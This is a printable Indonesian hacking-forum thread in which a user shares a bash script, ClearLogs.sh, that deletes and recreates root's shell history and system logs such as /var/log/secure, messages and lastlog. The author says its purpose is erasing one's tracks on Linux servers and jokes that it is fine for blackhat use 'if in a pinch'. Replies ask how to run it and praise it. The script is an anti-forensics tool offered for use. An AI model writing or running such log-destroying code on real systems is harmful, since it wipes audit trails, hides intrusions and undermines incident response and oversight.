Indonesian Back|Track Team
(share) Tools Ordinary ClearLogs.sh - Printable Version

+- Indonesian Back|Track Team (https://www.indonesianbacktrack.or.id/forum)
+-- Forum: General Zone (https://www.indonesianbacktrack.or.id/forum/forum-172.html)
+--- Forum: Programming (https://www.indonesianbacktrack.or.id/forum/forum-95.html)
+---- Forum: Bash (sh) (https://www.indonesianbacktrack.or.id/forum/forum-96.html)
+---- Thread: (share) Tools Ordinary ClearLogs.sh (/thread-3319.html)

Pages: 1 2


(share) Tools Ordinary ClearLogs.sh - xsan-lahci - 07-26-2012

Assalamaualaikum Para penghuni indonesian backtrack Big Grin
kembali lagi bersama ane xsan-lahci yg ganteng dan apa adanya wkwkwk
ane mau share tools cilik buatan ane yang ane kasih nama ClearLogs.sh tools ini berguna untuk Menghapus File

.bash_history | lastlog | netconf.log | boot.log | messages | secure | xferlog

Dan membuat File yg telah di hapus tersebut secara cepat

okeh pertama paste aja nih scriptnya langsung
Code:
#!/bin/sh
#You can Modif BUT Please dont change Author and Give me new code
#Author : xsan-lahci
#--> contact me : [email protected] < email
#------> Twitter: twitter.com/vaisal_exe / @vaisal_exe
#----------> FB : facebook.com/keynotfound & facebook.com/XsanLahci
# Dedicated For Indonesian Backtrack Team & Indonesian Hacker Team

##################################################
#color
##################################################
lightgreen='\e[1;34m'
    lightblue='\e[1;34m'
blue='\e[0;34m'
    lightcyan='\e[1;36m'
yellow='\e[1;33m'
    red='\e[1;31m'
purple='\e[0;35m'
##################################################
#source
##################################################
echo "
_______ _                    _                         _    
(_______) |                  (_)                       | |    
_      | | _____ _____  ____ _       ___   ____    ___| |__  
| |     | || ___ (____ |/ ___) |     / _ \ / _  |  /___)  _ \
| |_____| || ____/ ___ | |   | |____| |_| ( (_| |_|___ | | | |
\______)\_)_____)_____|_|   |_______)___/ \___ (_|___/|_| |_|
                                          (_____|              " #Yang Ngapus = Plagiat
echo ""
echo "This Tool Can Clear All your logs in Your system."
echo "Lets Rock!."
echo "[C] Copyright by xsan-lahci"
echo "--------------------------------------------------------"
echo "HOw to Use?: "
echo -ne $yellow "root@bt:~# chmod +x clear.sh"
echo ""
echo -ne $red "root@bt:~# ./clear.sh"
echo ""
echo "--------------------------------------------------------"

echo -ne $blue "Your Log Has Been Clean - by xsan-lahci tools"

echo " "

echo "Clear All ... "

echo "File Telah Terhapus"

echo " "

rm -f ~root/.bash_history

rm -f /var/log/lastlog

rm -f /var/log/netconf.log

rm -f /var/log/boot.log

rm -f /var/log/messages

rm -f /var/log/secure

rm -f /var/log/xferlog

echo "File Telah dibuat"

echo " "

touch ~root/.bash_history

touch /var/log/lastlog

touch /var/log/netconf.log

touch /var/log/boot.log

touch /var/log/messages

touch /var/log/secure

cara menggunakanya :
save clearlog.sh
chmod +x clearlog.sh
./clearlog.sh

kalo ada syntag yg salah bisa copas juga dr pastebin

Note : tools ini dapat di jalanlkan pada server yg berbasis linux guna menghapus jejak hahaha (dont use for blackhat job) kecuali kepepet wkwkwk

okeh segala bentuk modifikasi dr file ini dpt di kirim ke
PM FB : http://www.facebook.com/keynotfound
jangan lupa di follow twitter http://twitter.com/vaisal_exe
cacian dan bentuk motifasi dpt dikirim ke email
[email protected]

Happy Ganteng :apn:



RE: (share) Tools Ordinary ClearLogs.sh - iKONspirasi - 07-26-2012

btw itu menghapus log menjadi kosong ya? tapi harus dijalankan sebagai root kan ya?
+2 dari ane Smile


RE: (share) Tools Ordinary ClearLogs.sh - Al - Ayyubi - 07-26-2012

weh keren om Smile
ijin save om sekalian praktek Smile


RE: (share) Tools Ordinary ClearLogs.sh - xsan-lahci - 07-26-2012

bener om ikons Smile dan harus root pastinya heheh

monggo silahkan om Al-Ayyubi di kembangkan jg di persilahkan bgt hehe Smile


RE: (share) Tools Ordinary ClearLogs.sh - panjidani - 12-25-2012

maaf, oms, ane tanya ini,
file tsb di upload kan oms,

terus mksudnya ini apa yach

chmod +x clearlog.sh
./clearlog.sh

bisa di jelaskn gk oms, terima kasih


RE: (share) Tools Ordinary ClearLogs.sh - xsan-lahci - 12-25-2012

iyah file tersebut di upload bro,nah maksudnya chmod +x itu adalah merubah permition dari file tersebut agar bisa di jalankan dengan perintah ./clearlog.sh .. kalo belum di rubah permitionnya berarti cara jalankannya bisa dengan sh clearlog.sh


RE: (share) Tools Ordinary ClearLogs.sh - 0xiRiz - 03-17-2013

izin save ya om, btw, arti 'tousch'

"touch /var/log/lastlog"

apa ya bang ?
thanks bang,


RE: (share) Tools Ordinary ClearLogs.sh - xsan-lahci - 03-17-2013

touch = membuat file kosong Big Grin

jadi kalo

"touch /var/log/lastlog" adalah membuat file lastlog dalam folder /var/log


RE: (share) Tools Ordinary ClearLogs.sh - [H2] - 04-11-2013

=)) barusan saya coba ternyata prosesnya bagai halilintar.
+1 sari saya =))


RE: (share) Tools Ordinary ClearLogs.sh - xsan-lahci - 04-13-2013

wakakak sep om,itu lah keunggulan linux dalam memproses sesuatu Big Grin more faster than W.......ws jhahaha